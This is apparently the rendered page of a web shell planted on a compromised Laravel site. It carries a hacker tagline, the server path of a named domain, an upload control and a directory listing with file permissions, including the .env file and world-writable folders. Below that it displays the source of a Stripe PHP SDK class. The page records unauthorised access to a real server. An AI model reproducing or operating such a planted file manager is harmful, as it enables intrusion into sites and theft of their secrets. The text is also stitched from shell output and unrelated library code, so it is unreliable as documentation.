I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
API Access to Reports documentation
* for those Report Type IDs, along with required and optional parameters.
*
* Note that certain report types can only be run based on your live-mode data (not test-mode
* data), and will error when queried without a live-mode API key.
*
* @property string $id The ID of the Report Type, such as balance.summary.1.
* @property string $object String representing the object's type. Objects of the same type share the same value.
* @property int $data_available_end Most recent time for which this Report Type is available. Measured in seconds since the Unix epoch.
* @property int $data_available_start Earliest time for which this Report Type is available. Measured in seconds since the Unix epoch.
* @property null|string[] $default_columns List of column names that are included by default when this Report Type gets run. (If the Report Type doesn't support the columns parameter, this will be null.)
* @property bool $livemode Has the value true if the object exists in live mode or the value false if the object exists in test mode.
* @property string $name Human-readable name of the Report Type
* @property int $updated When this Report Type was latest updated. Measured in seconds since the Unix epoch.
* @property int $version Version of the Report Type. Different versions report with the same ID will have the same purpose, but may take different run parameters or have different result schemas.
*/
class ReportType extends \Stripe\ApiResource
{
const OBJECT_NAME = 'reporting.report_type';
use \Stripe\ApiOperations\All;
use \Stripe\ApiOperations\Retrieve;
}